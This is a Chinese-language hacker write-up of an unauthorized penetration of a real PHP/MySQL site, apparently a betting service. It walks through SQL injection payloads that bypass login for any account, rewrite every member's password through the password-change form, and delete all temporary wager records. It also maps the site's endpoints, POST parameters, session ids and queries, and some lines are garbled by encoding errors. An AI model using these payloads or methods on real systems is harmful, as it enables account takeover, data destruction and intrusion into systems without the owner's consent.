对某PHP站点的一次渗透! 文:iCeeYe
iceeye@5py.cn
iceeye@darkne2s.org
在正文前,我先说说这个站的大概情况:Apache的服务器, 网站php+mysql,PHP安全函数magic_quotes_gpc = On 。整站只有一个要验证的登陆页,因为没有注册页面,所以只能在仅有的登陆页摸索-_-!!
因为漏洞已补,所以把记录发了出来。
经2天的摸索得知,在用户密码框里提交$password的时候,他是这样处理的:
SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('$password') AND `enable`='Y'
其中`enable`好像是系统常量(或者变量)
我想应该构造如下query:
SELECT !
id,username,type FROM members WHERE username='admin' AND password=PASSWORD('') or PASSWORD('1')=PASSWORD('1') AND `enable`='Y'
**************分析结束
简单处理一下:
SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('###') or PASSWORD('1')=PASSWORD('1###') AND `enable`='Y'
注意:###内的是我们应该输入的
所以,我们应该把$password设定为:') or PASSWORD('1')=PASSWORD('1
提交:
username:admin
password:') or PASSWORD('1')=PASSWORD('1
返回:
Invalid SQL: SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('\\') or PASSWORD(\\'1\\')=PASSWORD(\\'1') AND `enable`='Y'
好了,还差1点点
如果是这样就可以了:
SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('\\') or PASSWORD(\\'1\\')=PASSWORD(\\'1\\') AND `enable`='Y'
所以把password设定为:') or PASSWORD('1')=PASSWORD('1\\
提?
唬?br>Invalid SQL: SELECT id,username,type FROM members WHERE!
usernam
e='admin' AND password=PASSWORD('\\') or PASSWORD(\\'1\\')=PASSWORD(\\'1\\\\\\\\') AND `enable`='Y'
少提交一个\
所以把password设定为:') or PASSWORD('1')=PASSWORD('1\
提交,
Invalid SQL: SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('\\') or PASSWORD(\\'1\\')=PASSWORD(\\'1\\\\') AND `enable`='Y'
看来他把一个\处理为4个\
陷入苦思冥想中.................
**********************************到此一个阶段结束
冷静的分析:
目前我们需要把后面的
PASSWORD(\\'1\\')=PASSWORD(\\'1\\\\')
构造成为一个true值的表达式
但是目前可以利用的有:
1.一个'变为:\\'
2.一个\变为:\\\\
从数学上面分析,如果要构造起来,好像不可能
但是思想是不变得,就是要让表达式变为true
所以换函数是没有用的
********************************************
最后,能不能用注释呢?对于MySQL的注释我不是很了解,但是我想应该和Perl、Shell、PHP一样是#把:
passwor!
d设定为:') or 1=1 #
那么:
SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('') or 1=1 #') AND `enable`='Y'
试验:成功!也就是说,可以进任意一个帐号。
记录简单,但过程是痛苦的。进站后,见到了想要的东西后, :o 2天不停歇的大脑再也受不了刺激了!
付:事后分析该站的结构
该网站结构
//////////////
配置文件php.ini
magic_quotes_gpc = On (猜测,系统把所有的\变为\\,把'变为'\)
所以:我们输入一个'变为\\',输入一个\变为\\\\(最后拿到配置文件证实了我的猜想)
程序对GET/POST不敏感
///////////////
因为该站不允许在IE直接提交数据,直接提交会被要求重新登陆。以下数据绝大部分都是在本地构造表单捉包得到-_-!
///////////////////
/index.php#让整个网站在一个框架内
/app/me!
mber/index.php#首页、登陆页
/app/member/translate.php?set=z!
h-cn&url
=$url
#对$url进行翻译的翻译,其中URL为:/app/member/index.php&uid=54f22f825e5aef4f
#备注:这里有个uid
/ok.php#空页
/app/member/login.php?uid=54f22f825e5aef4f&langx=zh-cn#登陆,uid为我当时访问网站所分配的
#POST的有用信息:uid=1c2c91396a7f1966&username=1234567&passwd=ice3y3 #备注:用户和密码是用管理员权限进了才能添加的,也就是说,根本不能个人注册 :blink:
#SQL:SELECT id,username,type FROM members WHERE username='$username' AND password=PASSWORD('$password') AND `enable`='Y'
#登陆以后,uid被重新分配,并且将 用户名 和 密码也传过去。数据库和web不在同一个服务器上。数据库服务器禁止外部连接。
#可能的数据表结构:
CREATE TABLE loginuid(
uid char(16),
id integer,
username varchar(30),
time datetime
);
/app/member/chk_rule.php?mtype=&uid=1c2c91396a7f1966
#其中mtype好像不是必须的参数,也不起到什么作用
#程序对uid进行查询,如果非法,则返回首页
/app/member/FT_header.php?uid=1c2c91396a7f1966&showtype=&mty!
pe=3
#显示最上面菜单的,后面的参数其实不是必须的,包括uid
/app/member/select.php?uid=1c2c91396a7f1966&mtype=3
#最左面的用户信息区,要求uid合法
AA
/app/member/FT_index.php?uid=1c2c91396a7f1966&langx=zh-tw&mtype=3
#进去以后,默认为显示 AA,其中mtype好像没有什么作用
/app/member/FT_browse/index.php?uid=1c2c91396a7f1966
#CC rtype=r
/js/FT_mem_showgame.js
#这个好像是XX的时候,用来在左边信息栏里面生成页面的
/app/member/FT_browse/body_var.php
#其实就是一个HTML,生成数组的,对以后的研究有用
/app/member/FT_browse/body_browse.php?uid=109dc631978b8b0&rtype=r
#显示BB信息的,不过好像不需要uid
#CC:和BB一样,只是rtype=re
#DD:和BB一样,只是rtype=pd
#EE:rtype=t
#FF(rtype=p)、GG(rtype=pr)
投注:
/app/member/FT_order/FT_order_m.php?gid=843&uid=109dc631978b8b0&type=H&gnum=301
#生成XX界面
#其中gid和gnum在body_var数组定义里面有
/app/member/FT_order/FT_order_m.php
#处理!
XX信息
#POST:
gold=60&uid=109dc631978b8b0&active=1&l!
ine_type
=3&gid=843&type=C&gnum=301&concede_h=1&radio_h=100&ioradio_r_h=6.60&gmax_single=30000&gmin_single=50&singlecredit=1000&singleorder=500&restsinglecredit=0&wagerstotal=1000&restcredit=1000&pay_type=0
#SQL:SELECT FL,fid,pos from FT_follow WHERE gid='$gid'
#SQL:SELECT * FROM FT_param where ltype=$line_type and gid=$gid and rtype='$rtype'
#SQL:INSERT INTO wagersOU (gtype,wtype,cid,sid,aid,mid,code,code_value,pay_type,winloss_s,winloss_a,gold,gold_d,gid,gnum,strong,type,concede,ratio,ioratio,result,orderdate,adddate,wingold,wratio_c,wratio_s,wratio_a,wratio_m,wgold_c,wgold_s,wgold_a,wgold_m)VALUES('FT','M','7','26','104','453','RMB','1','0','100','30','$gold','5.00','$gid','$gnum','','C','1','100','$ioradio_r_h','0','2004-03-10','2004-03-10 01:03:50','0','95','95','95','100','0','0','0','0')
/app/member/FT_order/FT_order_p.php
#生成临时XX
#POST:
game_id1=844&game1=H&game_id2=846&game2=H&game_id3=847&game3=H&game_id4=848&game_id5=849&game_id6=84!
5&game_id7=850&teamcount=7&active=1&uid=6defa21b702a5d87&TEAM0310=%C8%B7%C8%CF
#SQL:SELECT FL,fid,pos from FT_follow WHERE gid='$game_id1'
#SQL:select ioratio from FT_param where gid='903' AND rtype='M$game1'
/app/member/FT_order/FT_order_pr.php?active=3&uid=109dc631978b8b0&tmp_id=76507&pdate=2004-03-10
#删除临时XX,注意tmp_id
#SQL:delete from wagers_tmp where id=$tmp_id
/app/member/FT_order/FT_order_pr_finish.php
#多个XX处理
#POST:
wkind=S&wstar=3&gold=50&uid=109dc631978b8b0&active=1&teamcount=3&username=caa1307&singlecredit=1000&singleorder=500&gmin_single=50&gmax_single=500&restcredit=854&wagerstotal=0&pay_type=0&sc=0+0+0+&pdate=2004-03-10
#SQL:SELECT id,gold,code_value FROM wagersP WHERE mid=453 and star=$teamcount and rtype='PR' and gtype='FT'
/app/member/result/result.php?game_type=FT&uid=109dc631978b8b0
#JJ结果
#POST:game_type=FT&today=2004-03-10&submit=%B2%E9%D1%AF
#SQL:select id,name_c,na!
me_g,name_e from $game_type_leagues
#SQL:select * from $gam!
e_type w
here league_id='199' and date='$today' and game_over='Y' ORDER BY num_c
会员资料:
/app/member/account/mem_data.php?uid=109dc631978b8b0
#YH资料,uid必须合法
/app/member/account/chg_passwd.php?uid=109dc631978b8b0
#修改密码
/app/member/account/chg_passwd.php?uid=109dc631978b8b0
#action=1的时候处理密码信息
#POST:password=ice3y3&action=1&uid=109dc631978b8b0
#SQL:update members set password=PASSWORD('$password'),passwd='$password' where id='453'
#注释:其中members.password是加密后的密码,passwd是明文,id是根据uid算出来的
#构造:update members set password=PASSWORD('$password'),passwd='$password' where id='453'
****************************************************
程序分析:
登陆:
#SQL:SELECT id,username,type FROM members WHERE username='$username' AND password=PASSWORD('$password') AND `enable`='Y'
它验证的是members.password,也就是被加密过的密码字段,而不是明文密码字段,所以我们修改密码只?
枰薷膍embers.password
通过/app/member/account/chg_passwd.php?uid=109dc631978b8b0 修改
#SQL:update members set password=PASSWORD('$password'),passwd='$password' where id='453'
#由于 ' 最终 被替换为 \\' , \ 最终 被替换为 \\\\,所以我们修改的密码都得有\字符
#$password=newpwd') where id=id/*
#系统处理以后 最终 变为:$password=newpwd\\') where id=id/*
#代入SQL:
#SQL:update members set password=PASSWORD('newpwd\\') where id=id/*'),passwd='newpwd\\') where id=id/*' where id='453'
#等价于SQL:update members set password=PASSWORD('newpwd\\') where id=id
#其中的id可以是任何一个数字
删除临时XX:
/app/member/FT_order/FT_order_pr.php?active=3&uid=109dc631978b8b0&tmp_id=76507&pdate=2004-03-10
#删除临时XX,注意tmp_id
#SQL:delete from wagers_tmp where id=$tmp_id
#$tmp_id=1 or 1=1/*
#SQL:delete from wagers_tmp where id=1 or 1=1
#结果:删除所有的临时XX
-----------------------------END---------------!
-------------------------
#这次渗透异常的辛苦,尤其是绕过密!
码进入站
后。因为站内太BT了,限制了太多的东西,看到最后的朋友可能注意到"/*",因为对方限制了#,只能用/*代替。
#而且不能在IE直接提交数据,只能在本地构造表单提交,在吉阳的挎刀下终于大概了解了整站的结构,最后用SockMon捉包。
#最后要多谢几个人,多谢吉阳的睿智,多谢whg的SockMon 。本该还谢几位朋友,但应他们的要求,就没写出来,毕竟,人怕出名。。。。
#至于小吉阳嘛,他不是属于这个圈子的,也不怕好事之人对他的骚扰,所以就。。。。。呵呵。。。
////////////////////////////版权为iceeye本人所有,转载请著明。未经允许,不得用于商业转载////////////////////